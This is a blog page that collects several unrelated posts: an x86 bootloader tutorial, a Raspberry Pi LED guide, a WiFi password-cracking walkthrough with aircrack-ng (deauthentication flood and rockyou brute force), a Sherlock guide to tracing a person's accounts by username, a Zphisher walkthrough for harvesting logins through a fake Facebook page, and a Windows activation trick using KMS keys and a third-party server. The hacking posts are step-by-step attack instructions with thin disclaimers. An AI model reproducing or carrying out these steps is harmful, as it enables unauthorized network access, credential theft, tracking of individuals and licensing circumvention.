Search This Blog

Wednesday, 8 May 2024

(PART-1) Our Own Bootloader in Assembly Language

 

 

 

Cover image for Writing My Own Boot Loader

Writing My Own Boot Loader

Series Introduction

We will write a simple boot loader from scratch, using x86 assembly language and load a very minimal operating system kernel written in C. For the sake of simplicity we will utilize BIOS and not mess with UEFI.

The post is structured as follows. Before we jump into the details, it might make sense to look some things up in order to be able to follow my brief explanations. Consequently, the next sections contains some key words that you can read up on. Afterwards we are going to write our boot loader step by step. We then implement our minimalistic kernel written in C. In the last section we will wire everything together and boot our very own operating system.

The source code can be found at GitHub.

Prerequisites

In order to keep this post short I am going to focus on what is most important to achieve our goal. This means that some things will be left unexplained. However, if you spend some time to read up on them in more detail in the course of this post, you should be able to follow along just fine.

Here is a list of topics that are useful to know / to read up on in order to understand the content of this post.

In terms of tooling we will need an emulator (QEMU) to run our operating system, an x86 assembler (NASM) to write our boot loader code, as well as a C compiler (gcc) and linker (ld) in order to create an executable operating system kernel. We will wire everything together using GNU Make.

Tasks of a Boot Loader

On an x86 machine, the BIOS selects a boot device, then copies the first sector from the device into physical memory at memory address 0x7C00. In our case this so called boot sector will hold 512 bytes. These 512 bytes contain the boot loader code, a partition table, the disk signature, as well as a "magic number" that is checked by the BIOS to avoid accidentally loading something that is not supposed to be a boot sector. The BIOS then instructs the CPU to jump to the beginning of the boot loader code, essentially passing control to the boot loader.

In this tutorial we will be only concerned about the boot loader code, which will start the operating system kernel. This is necessary because we will not be able to fit the whole operating system into 512 bytes. In order to start our kernel, the boot loader will have to perform the following tasks:

  1. Loading the kernel from disk into memory.
  2. Setting up the global descriptor table (GDT).
  3. Switching from 16 bit real mode to 32 bit protected mode and passing control to the kernel.

Organizing the Codebase

We are going to write the boot loader in x86 assembly using NASM. The kernel will be written in C. We will organize the code in multiple files to increase readability and modularity. The following files will be relevant for a minimal setup:

  • mbr.asm is the main file defining the master boot record (512 byte boot sector)
  • disk.asm contains code to read from disk using BIOS
  • gdt.asm sets up the GDT
  • switch-to-32bit.asm contains code to switch to 32 bit protected mode
  • kernel-entry.asm contains assembler code to hand over to our main function in kernel.c
  • kernel.c contains the main function of the kernel
  • Makefile wires the compiler, linker, assembler and emulator together so we can boot our operating system

The next section focuses on writing the boot loader related files (mbr.asm, disk.asm, gdt.asm, and switch-to-32bit.asm). Afterwards we will write the kernel and the entry file. Finally, we are going to write everything together and attempt to boot.

Writing the Boot Loader

Master Boot Record File

The main assembly file for the boot loader contains the definition of the master boot record, as well as include statements for all relevant helper modules. Let's first take a look at the file as a whole and then discuss each section individually.

[bits 16]
[org 0x7c00]

; where to load the kernel to
KERNEL_OFFSET equ 0x1000

; BIOS sets boot drive in 'dl'; store for later use
mov [BOOT_DRIVE], dl

; setup stack
mov bp, 0x9000
mov sp, bp

call load_kernel
call switch_to_32bit

jmp $

%include "disk.asm"
%include "gdt.asm"
%include "switch-to-32bit.asm"

[bits 16]
load_kernel:
    mov bx, KERNEL_OFFSET ; bx -> destination
    mov dh, 2             ; dh -> num sectors
    mov dl, [BOOT_DRIVE]  ; dl -> disk
    call disk_load
    ret

[bits 32]
BEGIN_32BIT:
    call KERNEL_OFFSET ; give control to the kernel
    jmp $ ; loop in case kernel returns

; boot drive variable
BOOT_DRIVE db 0

; padding
times 510 - ($-$$) db 0

; magic number
dw 0xaa55

The first thing to notice is that we are going to switch between 16 bit real mode and 32 bit protected mode so we need to tell the assembler whether it should generate 16 bit or 32 bit instructions. This can be done by using the [bits 16] and [bits 32] directives, respectively. We are starting off with 16 bit instructions as the BIOS jumps to the boot loader while the CPU is still in 16 bit mode.

In NASM, the [org 0x7c00] directive sets the assembler location counter. We specify the memory address where the BIOS is placing the boot loader. This is important when using labels as they will have to be translated to memory addresses when we generate machine code and those addresses need to have the correct offset.

The KERNEL_OFFSET equ 0x1000 statement defines an assembler constant called KERNEL_OFFSET with the value 0x1000 which we will use later on when loading the kernel into memory and jumping to its entry point.

Preceding the boot loader invocation, the BIOS stores the selected boot drive in the dl register. We are storing this information in memory inside the BOOT_DRIVE variable so we can use the dl register for something else without the risk of overwriting this information.

Before we can call the kernel loading procedure, we need to setup the stack by setting the stack pointer registers sp (top of stack, grows downwards) and bp (bottom of stack). We will place the bottom of the stack in 0x9000 to make sure we are far away enough from our other boot loader related memory to avoid collisions. The stack will be used, e.g., by the call and ret statements to keep track of memory addresses when executing assembly procedures.

Now the time has come to do some work! We will first call the load_kernel procedure to instruct the BIOS to load the kernel from disk into memory at the KERNEL_OFFSET address. load_kernel makes use of our disk_load procedure which we will write later. This procedure takes three input parameters:

  1. The memory location to place the read data into (bx)
  2. The number of sectors to read (dh)
  3. The disk to read from (dl)

As soon as we are done we will return to the next instruction call switch_to_32bit, which calls another helper procedure that we will write later. It will prepare everything needed in order to switch to 32 bit protected mode, perform the switch, and jump to the BEGIN_32BIT label when it is done, effectively passing control to the kernel.

This concludes our main boot loader code. In order to generate a valid master boot record, we need to include some padding by filling up the remaining space with 0 bytes times 510 - ($-$$) db 0 and the magic number dw 0xaa55.

Next, let's see how the disk_load procedure is defined so we can read our kernel from disk.

Reading from Disk

Reading from disk is rather easy when working in 16 bit mode, as we can utilize BIOS functionality by sending interrupts. Without the help of the BIOS we would have to interface with the I/O devices such as hard disks or floppy drives directly, making our boot loader way more complex.

In order to read data from disk, we need to specify where to start reading, how much to read, and where to store the data in memory. We can then send an interrupt signal (int 0x13) and the BIOS will do its work, reading the following parameters from the respective registers:

Register Parameter
ah Mode (0x02 = read from disk)
al Number of sectors to read
ch Cylinder
cl Sector
dh Head
dl Drive
es:bx Memory address to load into (buffer address pointer)

If there are disk errors, BIOS will set the carry bit. In that case we should usually show an error message to the user but since we did not cover how to print strings and we are not going to in this post, we will simply loop indefinitely.

Let's take a look at the contents of disk.asm now.

disk_load:
    pusha
    push dx

    mov ah, 0x02 ; read mode
    mov al, dh   ; read dh number of sectors
    mov cl, 0x02 ; start from sector 2
                 ; (as sector 1 is our boot sector)
    mov ch, 0x00 ; cylinder 0
    mov dh, 0x00 ; head 0

    ; dl = drive number is set as input to disk_load
    ; es:bx = buffer pointer is set as input as well

    int 0x13      ; BIOS interrupt
    jc disk_error ; check carry bit for error

    pop dx     ; get back original number of sectors to read
    cmp al, dh ; BIOS sets 'al' to the # of sectors actually read
               ; compare it to 'dh' and error out if they are !=
    jne sectors_error
    popa
    ret

disk_error:
    jmp disk_loop

sectors_error:
    jmp disk_loop

disk_loop:
    jmp $

The main part of this file is the disk_load procedure. Recall the input parameters we set in mbr.asm:

  1. The memory location to place the read data into (bx)
  2. The number of sectors to read (dh)
  3. The disk to read from (dl)

First thing every procedure should do is to push all general purpose registers (ax, bx, cx, dx) to the stack using pusha so we can pop them back before returning in order to avoid side effects of the procedure.

Additionally we are pushing the number of sectors to read (which is stored in the high part of the the dx register) to the stack because we need to set dh to the head number before sending the BIOS interrupt signal and we want to compare the expected number of sectors read to the actual one reported by BIOS to detect errors when we are done.

Now we can set all required input parameters in the respective registers and send the interrupt. Keep in mind that bx and dl are already set correctly by the caller. As the goal is to read the next sector on disk, right after the boot sector, we will read from the boot drive starting at sector 2, cylinder 0, head 0.

After the int 0x13 has been executed, our kernel should be loaded into memory. To make sure there were no problems, we should check two things: First, whether there was a disk error (indicated by the carry bit) using a conditional jump based on the carry bit jc disk_error. Second, whether the number of sectors read (set as a return value of the interrupt in al) matches the number of sectors we attempted to read (popped from stack into dh) using a comparison instruction cmp al, dh and a conditional jump in case they are not equal jne sectors_error.

In case something went wrong we will run into an infinite loop. If everything went fine, we are returning from the procedure back to the main function. The next task is to prepare the GDT so we can switch to 32 bit protected mode.

Global Descriptor Table (GDT)

As soon as we leave 16 bit real mode, memory segmentation works a bit differently. In protected mode, memory segments are defined by segment descriptors, which are part of the GDT.

For our boot loader we will setup the simplest possible GDT, which resembles a flat memory model. The code and the data segment are fully overlapping and spanning the complete 4 GB of addressable memory. Our GDT is structured as follows:

  1. A null segment descriptor (eight 0-bytes). This is required as a safety mechanism to catch errors where our code forgets to select a memory segment, thus yielding an invalid segment as the default one.
  2. The 4 GB code segment descriptor.
  3. The 4 GB data segment descriptor.

A segment descriptor is a data structure containing the following information:

  • Base address: 32 bit starting memory address of the segment. This will be 0x0 for both our segments.
  • Segment limit: 20 bit length of the segment. This will be 0xfffff for both our segments.
  • G (granularity): If set, the segment limit is counted as 4096-byte pages. This will be 1 for both of our segments, transforming the limit of 0xfffff pages into 0xfffff000 bytes = 4 GB.
  • D (default operand size) / B (big): If set, this is a 32 bit segment, otherwise 16 bit. 1 for both of our segments.
  • L (long): If set, this is a 64-bit segment (and D must be 0). 0 in our case, since we are writing a 32 bit kernel.
  • AVL (available): Can be used for whatever we like (e.g. debugging) but we are just going to set it to 0.
  • P (present): A 0 here basically disables the segment, preventing anyone from referencing it. Will be 1 for both of our segments obviously.
  • DPL (descriptor privilege level): Privilege level on the protection ring required to access this descriptor. Will be 0 in both our segments, as the kernel is going to access those.
  • Type: If 1, this is a code segment descriptor. Set to 0 means it is a data segment. This is the only flag that differs between our code and data segment descriptors. For data segments, D is replaced by B, C is replaced by E and R is replaced by W.
  • C (conforming): Code in this segment may be called from less-privileged levels. We are setting this to 0 to protect our kernel memory.
  • E (expand down): Whether the data segment expands from the limit down to the base. Only relevant for stack segments and set to 0 in our case.
  • R (readable): Set if the code segment may be read from. Otherwise it can only be executed. Set to 1 in our case.
  • W (writable): Set if the data segment may be written to. Otherwise it can only be read. Set to 1 in our case.
  • A (accessed): This flag is set by the hardware when the segment is accessed, which can be useful for debugging.

Unfortunately the segment descriptor does not contain these values in a linear fashion but instead they are scattered across the data structure. This makes it a bit tedious to define the GDT in assembly. Please consult the diagram below for a visual representation of the data structure.

segment descriptor data structure layout

In addition to the GDT itself we also need to setup a GDT descriptor. The descriptor contains both the GDT location (memory address) as well as its size.

Enough theory, let's look at the code! Below you can find our gdt.asm, containing the definition of the GDT descriptor and the two segment descriptors, along with two assembly constants in order for us to know where the code segment and the data segment are located inside of the GDT.

;;; gdt_start and gdt_end labels are used to compute size

; null segment descriptor
gdt_start:
    dq 0x0

; code segment descriptor
gdt_code:
    dw 0xffff    ; segment length, bits 0-15
    dw 0x0       ; segment base, bits 0-15
    db 0x0       ; segment base, bits 16-23
    db 10011010b ; flags (8 bits)
    db 11001111b ; flags (4 bits) + segment length, bits 16-19
    db 0x0       ; segment base, bits 24-31

; data segment descriptor
gdt_data:
    dw 0xffff    ; segment length, bits 0-15
    dw 0x0       ; segment base, bits 0-15
    db 0x0       ; segment base, bits 16-23
    db 10010010b ; flags (8 bits)
    db 11001111b ; flags (4 bits) + segment length, bits 16-19
    db 0x0       ; segment base, bits 24-31

gdt_end:

; GDT descriptor
gdt_descriptor:
    dw gdt_end - gdt_start - 1 ; size (16 bit)
    dd gdt_start ; address (32 bit)

CODE_SEG equ gdt_code - gdt_start
DATA_SEG equ gdt_data - gdt_start

With the GDT and the GDT descriptor in place, we can finally write the code that performs the switch to 32 bit protected mode.

Switching to Protected Mode

In order to switch to 32 bit protected mode so that we can hand over control to our 32 bit kernel, we have to perform the following steps:

  1. Disable interrupts using the cli instruction.
  2. Load the GDT descriptor into the GDT register using the lgdt instruction.
  3. Enable protected mode in the control register cr0.
  4. Far jump into our code segment using jmp. This needs to be a far jump so it flushes the CPU pipeline, getting rid of any prefetched 16 bit instructions left in there.
  5. Setup all segment registers (ds, ss, es, fs, gs) to point to our single 4 GB data segment.
  6. Setup a new stack by setting the 32 bit bottom pointer (ebp) and stack pointer (esp).
  7. Jump back to mbr.asm and give control to the kernel by calling our 32 bit kernel entry procedure.

Now let's translate that into assembly so we can write switch-to-32bit.asm:

[bits 16]
switch_to_32bit:
    cli                     ; 1. disable interrupts
    lgdt [gdt_descriptor]   ; 2. load GDT descriptor
    mov eax, cr0
    or eax, 0x1             ; 3. enable protected mode
    mov cr0, eax
    jmp CODE_SEG:init_32bit ; 4. far jump

[bits 32]
init_32bit:
    mov ax, DATA_SEG        ; 5. update segment registers
    mov ds, ax
    mov ss, ax
    mov es, ax
    mov fs, ax
    mov gs, ax

    mov ebp, 0x90000        ; 6. setup stack
    mov esp, ebp

    call BEGIN_32BIT        ; 7. move back to mbr.asm

After switching the mode we are ready to hand over control to our kernel. Let's implement a dummy kernel in the next section.

Writing a Dummy Kernel

C Kernel

Having our basic boot loader functionality up and running we only need to create a small dummy kernel function in C that we can call from our boot loader. Although leaving the 16 bit real mode means we will not have the BIOS at our disposal anymore and we need to write our own I/O drivers, we now have the ability to write code in a higher order language like C! This means we do not have to rely on assembly language anymore.

For now the task of the kernel will be to output the letter X in the top left corner of the screen. To do that we will have to modify video memory directly. For color displays with VGA text mode enabled the memory begins at 0xb8000.

Each character consists of 2 bytes: The first byte represents the ASCII encoded character, the second byte contains color information. Below is a simple main function inside kernel.c that prints an X in the top left corner of our screen.

void main() {
    char* video_memory = (char*) 0xb8000;
    *video_memory = 'X';
}

Kernel Entry

When you take a look back into our mbr.asm, you will notice that we still need to call the main function written in C. To do that, we are going to create a small assembly program that will be placed at the KERNEL_OFFSET location, in front of the compiled C kernel when creating the boot image.

Let's look at the contents of kernel-entry.asm:

[bits 32]
[extern main]
call main
jmp $

As expected there is not much to do here. We only want to call our main function. To avoid errors in the assembly process, we need to declare main as an external procedure that is not defined within our assembly file. It is the task of the linker to resolve the memory address of main such that we can call it successfully.

It is important to remember that the kernel-entry.asm is not included into our mbr.asm but will be placed at the front of the kernel binary in the course of the next section. So let's see how we can combine all the pieces we built.

Putting Everything Together

In order to built our operating system image we are going to need a bit of tooling. We need nasm to process our assembly files. We need gcc to compile our C code. We need ld to link our compiled kernel object files and our compiled kernel entry into a binary file. And we are going to use cat to combine our master boot record and our kernel binary into a single, bootable binary image.

But how do we wire all those neat little tools together? Luckily there is another tool for that: make. So here goes the Makefile:

# $@ = target file
# $< = first dependency
# $^ = all dependencies

# First rule is the one executed when no parameters are fed to the Makefile
all: run

kernel.bin: kernel-entry.o kernel.o
    ld -m elf_i386 -o $@ -Ttext 0x1000 $^ --oformat binary

kernel-entry.o: kernel-entry.asm
    nasm $< -f elf -o $@

kernel.o: kernel.c
    gcc -m32 -ffreestanding -c $< -o $@

mbr.bin: mbr.asm
    nasm $< -f bin -o $@

os-image.bin: mbr.bin kernel.bin
    cat $^ > $@

run: os-image.bin
    qemu-system-i386 -fda $<

clean:
    $(RM) *.bin *.o *.dis

It is important to note that you might have to cross compile ld and gcc in order to be able to compile and link into free standing x86 machine code. I had to do it on my Mac at least.

Now let's compile, assemble, link, load our image into qemu, and look at the beautiful X in the top left corner of the screen!

booted os printing x in the top left

 

Thanks to Read and Enjoy this Useful Knowledge.

How to Crack wifi Passwords using Aircrack-ng Kali Linux

 

Hack WiFi with Aircrack-ng using linux PC.

wifi-hack · GitHub Topics · GitHub

So Welcome guys to one more intresting blog, in today's blog I will tell you how to crack Wifi Passwords in very easy and simple steps. As we All Know Kali Linux and Parrot OS are Best Operating Systems used in Pentesting, Hacking purposes. Because of Built-in tools like Aircrack-ng, Airodump, Burpsuite, etc more than 500+ tools are available to learn, and apply. But you should not try on Other's Devices, Data, Social Media Accounts, etc. Only use for Educational Purpose. So here we need some tools:

Requirements:

  • PC with installed or live Linux
  • Aircrack-ng toolkit
  • A wifi adapter with monitor mode support. (if PC's builtin wifi doesn't support monitor mode then only)

Major Steps in this Process:

  • Putting wireless into monitor mode
  • Information Gathering about a WiFi
  • Capturing Handshakes
  • Cracking Encrypted Password

Let's Start Guys !!!

 In my case, my wireless adapter is with the name wlan0. In your case, it may be different. I will show you whether my monitor mode is enabled or not. For that, we will use the ifconfig command. According to the image below, The wifi monitor mode has not started yet.

ifconfig

wlan0

In this step, we will enable monitor mode on Kali Linux. For that, we will type the following command.

airmon-ng start wlan0

Now this command will enable the monitor mode on the wifi card.

monitor mode

Many times, during wifi password hacking, we have to enable monitor mode. At this time, you can see the below image. In this image, The monitor mode has enabled.

 wlan0mon 

wlan0mon

At this stage, We will scan the surroundings wifi network. For that, we will type the following command.

airodump-ng wlan0

These commands will display all the access points in your surroundings and also the clients connected to those access points.

airodumo-ng wlan0mon
Access Point

in this step, We will capture the packets of the target wifi network.

airodump-ng -c 11 –bssid 22:FB:6F:36:7D:5C -w /root/Desktop/wifi-packet wlan0mon

In this step, we will send deauthenticate packets to the connected clients. Until our wifi handshake is captured.

aireplay-ng –deauth 1000 -a 22:FB:6F:36:7D:5C wlan0mon

At this final step, we will have to crack wifi captured packets. For that, we will use the brute-attack to crack the wifi password. Now we will use a custom wordlist. If you want to generate your custom wordlist, you can visit my youtube channel.

aircrack-ng -a2 -b 22:FB:6F:36:7D:5C -w /usr/share/wordlists/rockyou.txt wifi01.cap

In the end, we got the wifi password.

Password Found

So thanks Guys! I hope you have learned this method for cracking WiFi.

Don't Forget to Comment your Experience, So I can Improve Next Time.






Blink an LED using RaspberryPi pico,nano,3,4,b,b+ in Python and C/C++ both

 

How to Blink an LED on a Raspberry Pi

How to Blink an LED on a Raspberry Pi - Jeremy Morgan's Tech Blog 

The blinking LED is the “hello world” of the maker community, and today I’ll show you how easy it is to do with the Raspberry Pi 2 (or Model B)! We’re going to use Python and WiringPi for this project.

What you’ll need

For this article I’m using a Raspberry Pi 2, but you can also use a Raspberry Pi Model B. You will also need:

  • A GPIO Adapter
  • Breadboard
  • Resistor
  • LED
  • The quickest way to get that LED to blink is to take a look at the pins of the GPIO 

    Raspberry gPIo - learn.sparkfun.com

     and decide which one to tie to. Then you can use Python and the Raspberry Pi GPIO Library to create a script to light it up.

    import RPi.GPIO as GPIO ## Import GPIO Library
    import time ## Import 'time' library (for 'sleep')

    blue = 7 ## These are our LEDs
    ourdelay = 1 ## Delay
    # pins 4,17,18,21,22,23,24,25

    GPIO.setmode(GPIO.BOARD) ## Use BOARD pin numbering
    GPIO.setup(pin, GPIO.OUT) ## set output

    ## function to save code

    def activateLED( pin, delay ):
    GPIO.output(pin, GPIO.HIGH) ## set HIGH (LED ON)
    time.sleep(delay) ## wait
    GPIO.output(pin, GPIO.LOW) ## set LOW (LED OFF)
    return;

    activateLED(blue,ourdelay)

    GPIO.cleanup() ## close down library
    
    

    As you can see in the code above, it doesn’t take much to get things working. But I’ll explain the code a little deeper.

    import RPi.GPIO as GPIO
    import time

    The following code imports the Python GPIO library, and the time library. The GPIO library, as you probably guessed is the library for interacting with the GPIO in Python. It does an amazing job of simplifying the process. The time library is there so we can put a delay in, otherwise the blink might be too fast to notice.

    blue = 7
    ourdelay = 1

    Here I created a variable named “blue” (the color of the LED) and assigned it “7” which is the pin number we want. If I wanted to add multiple LEDs I could name it something like:

    blue = 7
    red = 13
    green 14

    I then created a “delay” variable of one second. This way I can change the delay of the lights blinking however I want.

    You can name the variables anything you want, but this was just to make it easy to see which LED is which if I wanted to do some fancy light show.

    GPIO.setmode(GPIO.BOARD) 

    Then, we set the GPIO mode to “Board” which means we’ll use the numbering of the pin by board instead of GPIO. This makes it a little easier to understand when using a bread board.

    With this line of code we set the pin to be an output:

    GPIO.setup(pin, GPIO.OUT)

    There are 2 main commands to turn the LED on then off:

    GPIO.output(pin, GPIO.HIGH)
    GPIO.output(pin, GPIO.LOW)

    If you wanted to blink an LED twice you would have to repeat the last two lines each time. So I decided to put this in a function and put the pin and delay as parameters. This way making a particular LED blink is as simple as:

    activateLED(blue,ourdelay)

    This is repeatable and saves code when doing larger programs.

    To close everything down, we need to run the following:

    GPIO.cleanup()

    It’s that easy! You could easily write a nice Python script that do some pretty cool stuff with just a few lines of code.

     

    For this step we’ll install WiringPi for the libraries to interact with the GPIO. This allows us to do what we just did, but from the command line. We’ll need to install WiringPi:

    cd ~/sources
    git clone git://git.drogon.net/wiringPi
    cd wiringPi
    git pull origin
    ./build
    
    

    If successful you should see a screen like this:

    Blink an LED Raspberry Pi

    Now we can light up the LED from the command line. Remember the pin 7 in the example above? We can now light up like so:

    gpio mode 7 out
    gpio mode 7 1
    
    

    This will light up the LED. You can turn it off by entering:

    gpio mode 7 0
    
    

    Blink an LED Raspberry Pi

    This makes it super easy to light up LEDs from the command line. You could create a pretty neat BASH script to do this, and do some neat things, or call this from other languages.

    Summary

    I hope this has helped in showing how easy it is to blink an LED on the Raspberry Pi 2/B. Of course as you progress on you’ll want to do far more than just blink an LED, but the GPIO libraries make it very easy to create some neat stuff. If you’ve experimented with this and done something cool, Let me know!!!


Gathering Information about Person using only name or username

 

Hunt down social media accounts by username across Social Networks

   

Most Welcome Guys, So in today's blog I will tell you that how to find all Social Media Accounts of a person using his/her Username.

So in this process, we will use Termux, or Kali/Parrot Linux.

Installing required tools:

So, First Step, We will install a tool from github. Sherlock is a Free Available Tool built in python. It can scan all Popular Social Media Accounts, like Facebook, Instagram, Twitter, Github, etc.

Sherlock Installation:

#clone the repo
git clone https://github.com/sherlock-project/sherlock.git

#change the working directory to sherlock
cd sherlock

# install the requirements
python3 -m pip install -r requirements.txt   


Usage

$ python3 sherlock --help
usage: sherlock [-h] [--version] [--verbose] [--folderoutput FOLDEROUTPUT]
                [--output OUTPUT] [--tor] [--unique-tor] [--csv]
                [--site SITE_NAME] [--proxy PROXY_URL] [--json JSON_FILE]
                [--timeout TIMEOUT] [--print-all] [--print-found] [--no-color]
                [--browse] [--local]
                USERNAMES [USERNAMES ...]

Sherlock: Find Usernames Across Social Networks (Version 0.14.2)

positional arguments:
  USERNAMES             One or more usernames to check with social networks.
                        Check similar usernames using {%} (replace to '_', '-', '.').

optional arguments:
  -h, --help            show this help message and exit
  --version             Display version information and dependencies.
  --verbose, -v, -d, --debug
                        Display extra debugging information and metrics.
  --folderoutput FOLDEROUTPUT, -fo FOLDEROUTPUT
                        If using multiple usernames, the output of the results will be
                        saved to this folder.
  --output OUTPUT, -o OUTPUT
                        If using single username, the output of the result will be saved
                        to this file.
  --tor, -t             Make requests over Tor; increases runtime; requires Tor to be
                        installed and in system path.
  --unique-tor, -u      Make requests over Tor with new Tor circuit after each request;
                        increases runtime; requires Tor to be installed and in system
                        path.
  --csv                 Create Comma-Separated Values (CSV) File.
  --xlsx                Create the standard file for the modern Microsoft Excel
                        spreadsheet (xslx).
  --site SITE_NAME      Limit analysis to just the listed sites. Add multiple options to
                        specify more than one site.
  --proxy PROXY_URL, -p PROXY_URL
                        Make requests over a proxy. e.g. socks5://127.0.0.1:1080
  --json JSON_FILE, -j JSON_FILE
                        Load data from a JSON file or an online, valid, JSON file.
  --timeout TIMEOUT     Time (in seconds) to wait for response to requests (Default: 60)
  --print-all           Output sites where the username was not found.
  --print-found         Output sites where the username was found.
  --no-color            Don't color terminal output
  --browse, -b          Browse to all results on default browser.
  --local, -l           Force the use of the local data.json file.

To search for only one user:

python3 sherlock user123

To search for more than one user:

python3 sherlock user1 user2 user3

Accounts found will be stored in an individual text file with the corresponding username (e.g user123.txt).

 

 Applying on a Real Account:

Now After Installing this Awesome Tool, I will scan a user "username" for a demo purpose. 

 

Type Command like this to search for user:

Command: python3 sherlock username

 


 So as you can see in above Pic, "username" exists in these Social Websites.

So Thanks Guys For Coming to my Blog, Comment your Experience while reading this blog, and Comment whether you are success or not, if there any error, feel free to write...

What is Phishing Attack, How hackers steal your valuable Information using simple LINK

 

What is Phishing Attack, How it works?

zphisher
Zphisher, tool for phishing

 

Introduction to Phishing Attack

So, as you all know, from past 10 year there is a suddenly rise in Digital Platforms, Social Media, etc. and specially after COVID. So Phishing is a technique in which hacker creates a Fake Website Template of any Social Media, and changes the all logins, signup, registration form so that all the userdata will forwarded to them or to their server. Not only login forms, They can change anything in their Fake Website Template as their requirements.

How to Do Phishing Attack

What you need to perform this attack:

  • Linux Device (termux/kali)
  • Stable Internet Connection
  • Zphisher tool from GitHub

 

Disclaimer

Any actions and or activities related to Zphisher is solely your responsibility. The misuse of this toolkit can result in criminal charges brought against the persons in question. The contributors and me will not be held responsible in the event any criminal charges be brought against any individuals misusing this toolkit to break the law.

This toolkit contains materials that can be potentially damaging or dangerous for social media. Refer to the laws in your province/country before accessing, using,or in any other way utilizing this in a wrong way.

This Tool is made for educational purposes only. Do not attempt to violate the law with anything contained here. If this is your intention, then Get the hell out of here!

It only demonstrates "how phishing works". You shall not misuse the information to gain unauthorized access to someones social media. However you may try out this at your own risk.

Installation

  • Just, Clone this repository -

    git clone https://github.com/htr-tech/zphisher.git
    
  • Now go to cloned directory and run zphisher.sh -

    $ cd zphisher
    $ bash zphisher.sh
    
  • On first launch, It'll install the dependencies and that's it. Zphisher is installed.

:: Workflow ::

 

Practical Demo

After Installation type in your Console:

  • cd zphisher
  • ./zphisher

Now zphisher should run Successfully if there are no issues in installation process.

So Now there are so many Social Media Websites Templates, Available in this tool.

you can choose as your choice (using Facebook as a demo)

type '1' in console

now as you press enter, you can see 4 or 5 types for creating the Template


I will go for 1st option, for just demo purpose.

Now you will see there are 4 options for Port Forwarding Services for your Website Template.

[01]Localhost                                                                                                                       [02]Ngrok.io[AccountNeeded]
[03]Cloudflared[AutoDetects]
[04]LocalXpose[NEW!Max15Min]                                                                                                   
                                                                                                                                     
[-] Select a port forwarding service :   

I will use '1' for demo purpose.

Now it will ask for custom port: I will type 'N'

Now go on the link maded in console.

in my case it is: "http://127.0.0.1:8080"

SO HERE IS YOUR FINAL FAKE WEBSITE TEMPLATE:

Now as someone enter their Original Information, it will forwarded to the console of the attacker, and saved in a file or database.

SEE THE OUTPUT:


So Here is my Login Info, Which I entered on that Fake Website Template.

Again giving Disclaimer, This is a very Dangerous Attack, So I am not resposible for any illegal activity performed by you.

How To Secure from such Attacks

  • Don't go on Unsecure Websites, like free recharge, free earn money, free instagram followers, etc
  • There is a very big Difference in HTTP and HTTPS, so check this 2 times before entering any credentials on any Website. It should be HTTPS if it is Secure.
  • Don't Use Same Passwords in all Social Accounts, Read my blog, I have told you about how to get user all social accounts from one social media username, So if someone has successfully cracked your password from one Social account, then it will failed on another Social Accounts.
  • When you visit some websites sended by someone, then try to Observe the Link Carefully, if it ends with com,org,in,govt,etc then only you should visit them.
  • Finally, Don't Login your Social Accounts from someone's PC or Mobile, not from any browser, or through any other Websites, Only Login from Trusted Applications, and from your Personal Devices.

THANKS for Coming Here Guys

Comment your Experience.

Activate Windows 10 using Command prompt trick

 

 By command prompt

Step 1: Click on the start button, search for “cmd” then Open Command Prompt (cmd) as administrator.

The following is the list of Windows 10 Volume license keys.

Home: TX9XD-98N7V-6WMQ6-BX7FG-H8Q99
Home N: 3KHY7-WNT83-DGQKR-F7HPR-844BM
Home Single Language: 7HNRX-D7KGG-3K4RQ-4WPJ4-YTDFH
Home Country Specific: PVMJN-6DFY6–9CCP6–7BKTT-D3WVR
Professional: W269N-WFGWX-YVC9B-4J6C9-T83GX
Professional N: MH37W-N47XK-V7XM9-C7227-GCQG9
Education: NW6C2-QMPVW-D7KKK-3GKT6-VCFB2
Education N: 2WH4N-8QGBV-H22JP-CT43Q-MDWWJ
Enterprise: NPPR9-FWDCX-D2C8J-H872K-2YT43
Enterprise N: DPH2V-TTNVB-4X9Q3-TJR4H-KHJW4

Step 2: Install KMS client key

Type this command (note: replace yourlicensekey according to your windows edition license key given above.)

slmgr /ipk yourlicensekey

Set KMS machine address

Use the command “slmgr /skms kms8.msguides.com” to connect to my KMS server.

Activate your Windows

The last step is to activate your Windows using the command “slmgr /ato”.

Now check the activation status again.

Windows 10 is activated successfully.

how to implement YOLOv3 using Python and TensorFlow

Object Detection with YOLOv3 Introduction YOLOv3 (You Only Look Once version 3) is a real-time object detection algorithm that can detect ob...